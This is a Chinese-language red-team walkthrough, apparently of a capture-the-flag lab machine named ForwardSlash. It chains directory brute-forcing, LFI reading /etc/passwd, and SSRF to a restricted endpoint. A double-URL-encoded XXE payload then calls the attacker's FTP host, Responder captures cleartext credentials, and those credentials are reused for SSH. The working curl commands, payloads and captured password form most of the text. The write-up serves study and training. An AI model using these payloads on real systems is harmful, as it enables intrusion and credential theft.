红队手法:从web漏洞到ssh横向移动 实战方案
目录
🖥️ 第1章:立足点建立与备份站点枚举
🛠️ 1.1 运行GoBuster进行目录和文件爆破
🔑 第2章:账户注册与仪表板访问
🖱️ 2.1 注册新账户
📊 2.2 登录并访问仪表板
🔓 第3章:本地文件包含(LFI)漏洞测试
🕵️ 3.1 测试LFI漏洞
🌐 第4章:通过LFI实现SSRF访问内部资源
🚀 4.1 访问/dev端点
📡 第5章:XXE漏洞测试与凭据捕获
🧪 5.1 测试XML输入
🔑 5.2 利用XXE捕获FTP凭据
⚙️ 5.3 Responder中间人攻击详解
🔗 第6章:使用凭据登录SSH
🚪 6.1 SSH登录
🌟 第7章:红队视角的技术栈与攻击链总结
🛠️ 7.1 技术栈概览
🔍 7.2 攻击链详解
🎯 7.3 红队思路
🖥️ 第1章:立足点建立与备份站点枚举
立足点(Foothold)是渗透测试中获取目标系统初始访问权限的关键阶段。通过对备份站点backup.forwardslash.com
的枚举,我们发现了潜在的攻击入口。
🛠️ 1.1 运行GoBuster进行目录和文件爆破
-
目标:发现隐藏目录或文件,为后续攻击提供切入点。
-
命令:
gobuster dir -u backup.forwardslash.com -w /usr/share/wordlists/dirb/common.txt -x php,txt -s 200,302
-
参数解析:
-
-u
:指定目标URL。 -
-w
:使用常见目录和文件名的词典文件。 -
-x php,txt
:尝试带有.php
和.txt
扩展名的文件。 -
-s 200,302
:仅显示状态码为200(成功)或302(重定向)的结果。
-
-
技术原理:
-
通过HTTP GET请求,结合暴力猜测,探测Web服务器上未公开的资源。
-
-
输出:
/api.php (Status: 200) [Size: 127] /dev (Status: 301) [Size: 332] [--> http://backup.forwardslash.com/dev/]
-
关键点:
-
/api.php
重定向到登录页面,提示需要身份验证。 -
/dev
返回403(禁止远程访问),表明可能为内部资源。
-
-
-
关联性:此步骤为后续注册账户和漏洞测试提供了明确目标(如
/dev
)。
🔑 第2章:账户注册与仪表板访问
通过枚举发现的注册页面,我们创建账户以进一步探索系统功能。
🖱️ 2.1 注册新账户
-
操作:
-
访问
http://backup.forwardslash.com/register.php
。 -
输入用户名
someuser
和密码somepass
。
-
-
输出:成功注册。
-
技术原理:
-
Web应用允许公开注册,未设置强验证机制。
-
-
关联性:注册账户为后续登录和会话管理奠定了基础。
📊 2.2 登录并访问仪表板
-
操作:
-
使用
someuser/somepass
登录。 -
获取会话Cookie(如
PHPSESSID=s2h9nr2ufvuq4liulm04afoivr
)。
-
-
输出:进入仪表板,发现“更改头像”功能被禁用。
-
技术原理:
-
HTTP会话通过Cookie维持,
PHPSESSID
标识用户身份。
-
-
关联性:登录后获取的会话Cookie为后续漏洞测试提供了认证凭据。
🔓 第3章:本地文件包含(LFI)漏洞测试
仪表板的“更改头像”功能虽被禁用,但可能存在未修补的漏洞。我们通过LFI测试验证其安全性。
🕵️ 3.1 测试LFI漏洞
-
命令:
curl -X POST http://backup.forwardslash.com/profilepicture.php -d "url=../../../etc/passwd&submit=submit" -b "PHPSESSID=s2h9nr2ufvuq4liulm04afoivr"
-
参数解析:
-
-X POST
:指定POST请求。 -
-d "url=../../../etc/passwd&submit=submit"
:提交包含路径穿越的参数。 -
-b "PHPSESSID=..."
:携带会话Cookie以绕过身份验证。
-
-
技术原理:
-
url
参数未经过滤,允许通过../
遍历目录,读取本地文件。
-
-
输出:
root:x:0:0:root:/root:/bin/bash chiv:x:1001:1001:Chivato,,,:/home/chiv:/bin/bash
-
关键点:
-
成功读取
/etc/passwd
,确认LFI漏洞存在。 -
发现了潜在用户
chiv
,为后续攻击提供线索。
-
-
关联性:LFI漏洞为下一步SSRF攻击提供了基础。
🌐 第4章:通过LFI实现SSRF访问内部资源
利用LFI漏洞,我们尝试访问被限制的内部端点/dev
,以寻找更多攻击点。
🚀 4.1 访问/dev端点
-
命令:
curl -X POST http://backup.forwardslash.com/profilepicture.php -d "url=http://backup.forwardslash.com/dev&submit=submit" -b "PHPSESSID=s2h9nr2ufvuq4liulm04afoivr"
-
技术原理:
-
通过LFI的
url
参数,伪造服务器内部HTTP请求(SSRF),绕过403限制。
-
-
输出:
<h1>XML Api Test</h1> <textarea name="xml" form="xmltest" rows="20" cols="50">
-
关键点:
-
获取
/dev
页面HTML,发现XML输入表单,提示潜在XXE漏洞。
-
-
关联性:SSRF成功访问
/dev
,为后续XXE测试提供了入口。
📡 第5章:XXE漏洞测试与凭据捕获
通过SSRF访问的/dev
端点支持XML输入,我们测试并利用XXE漏洞,最终捕获FTP凭据。
🧪 5.1 测试XML输入
-
初始Payload:
<?xml version="1.0" ?> <!DOCTYPE html [ <!ELEMENT bar > <!ENTITY foo "this is a test"> ]> <api> <request>&foo;</request> </api>
-
命令:
curl -X POST http://backup.forwardslash.com/profilepicture.php -b "PHPSESSID=s2h9nr2ufvuq4liulm04afoivr" -d "url=http://backup.forwardslash.com/dev/index.php?xml=<!DOCTYPE html [<!ELEMENT bar ><!ENTITY foo \"this is a test\">]>&foo;&submit=submit"
-
输出:未成功返回实体内容。
-
技术原理:
-
测试服务器是否解析外部实体,为XXE奠定基础。
-
-
关联性:初步测试失败,提示需调整Payload以触发更复杂的XXE。
🔑 5.2 利用XXE捕获FTP凭据
-
命令:
curl -X POST http://backup.forwardslash.com/profilepicture.php -b "PHPSESSID=s2h9nr2ufvuq4liulm04afoivr" -d "url=http://backup.forwardslash.com/dev/index.php?xml=%253C%253Fxml%2520version%253D%25221.0%2522%2520encoding%253D%2522UTF8%2522%253F%253E%250A%253C%2521DOCTYPE%2520html%2520%255B%250A%2520%2520%253C%2521ELEMENT%2520bar%253E%250A%2520%2520%253C%2521ENTITY%2520foo%2520SYSTEM%2520%2522ftp%253A%252F%252F10.10.14.74%252F%2522%253E%250A%255D%253E%250A%253Capi%253E%250A%2520%2520%2520%253Crequest%253E%2526foo%253B%253C%252Frequest%253E%250A%253C%252Fapi%253E&submit=submit"
-
Payload解析:
-
双重URL编码后的XML:
<?xml version="1.0" encoding="UTF8"?> <!DOCTYPE html [ <!ELEMENT bar > <!ENTITY foo SYSTEM "ftp://10.10.14.74/"> ]> <api> <request>&foo;</request> </api>
-
-
技术栈与原理:
-
双重URL编码:绕过输入过滤,确保XML被正确解析。
-
SYSTEM实体:指示服务器访问外部资源
ftp://10.10.14.74/
。 -
FTP请求触发:服务器解析XML时发起FTP连接,可能携带凭据。
-
-
输出:
-
服务器尝试连接
10.10.14.74
,未直接返回内容。
-
-
Responder配置与捕获:
-
安装:
git clone https://github.com/SpiderLabs/Responder cd Responder-master sudo ./Responder.py -I tun0
-
作用:
-
在
10.10.14.74
(攻击者IP)上运行伪造FTP服务器。 -
捕获服务器发送的明文FTP凭据。
-
-
输出:
[FTP] Cleartext Client : 10.129.194.195 [FTP] Cleartext Username : chiv [FTP] Cleartext Password : N0bodyL1kesBack/
-
-
关键点:
-
XXE触发FTP请求,Responder作为中间人捕获凭据
chiv/N0bodyL1kesBack/
。
-
-
关联性:从LFI到SSRF再到XXE,层层递进,最终通过Responder实现凭据泄露。
⚙️ 5.3 Responder中间人攻击详解
-
功能:
-
伪造FTP服务器,监听目标的连接请求。
-
捕获明文凭据(FTP协议默认不加密)。
-
-
技术栈:
-
网络层:监听攻击者接口(如
tun0
)。 -
应用层:模拟FTP协议,记录请求日志。
-
-
关键作用:
-
将XXE的外部实体请求转化为可控的凭据捕获点。
-
🔗 第6章:使用凭据登录SSH
捕获凭据后,我们尝试通过SSH访问目标系统。
🚪 6.1 SSH登录
-
命令:
sshpass -p 'N0bodyL1kesBack/' ssh chiv@10.129.194.195
-
技术原理:
-
凭据重用:FTP凭据与SSH一致。
-
-
输出:成功登录为
chiv
。 -
关联性:凭据捕获直接促成SSH访问,完成立足点建立。
🌟 第7章:红队视角的技术栈与攻击链总结
🛠️ 7.1 技术栈概览
-
Web枚举:GoBuster(HTTP协议)。
-
会话管理:Cookie(PHPSESSID)。
-
漏洞利用:
-
LFI:路径穿越(
../
)。 -
SSRF:伪造内部请求。
-
XXE:外部实体注入(SYSTEM)。
-
-
中间人攻击:Responder(FTP伪造)。
-
远程访问:SSH。
🔍 7.2 攻击链详解
-
Web枚举:通过GoBuster发现
/dev
和注册入口。 -
LFI漏洞:利用
profilepicture.php
读取/etc/passwd
,确认用户chiv
。 -
SSRF利用:通过LFI访问内部
/dev
,发现XXE测试点。 -
XXE攻击:构造Payload触发FTP请求。
-
凭据捕获:Responder拦截FTP连接,获取
chiv/N0bodyL1kesBack/
。 -
SSH登录:使用凭据建立立足点。
🎯 7.3 红队思路
-
分层递进:从外部Web漏洞逐步深入内部服务。
-
漏洞组合:LFI+SSRF+XXE形成强大攻击链。
-
环境利用:借助Responder将服务端行为转化为攻击者优势。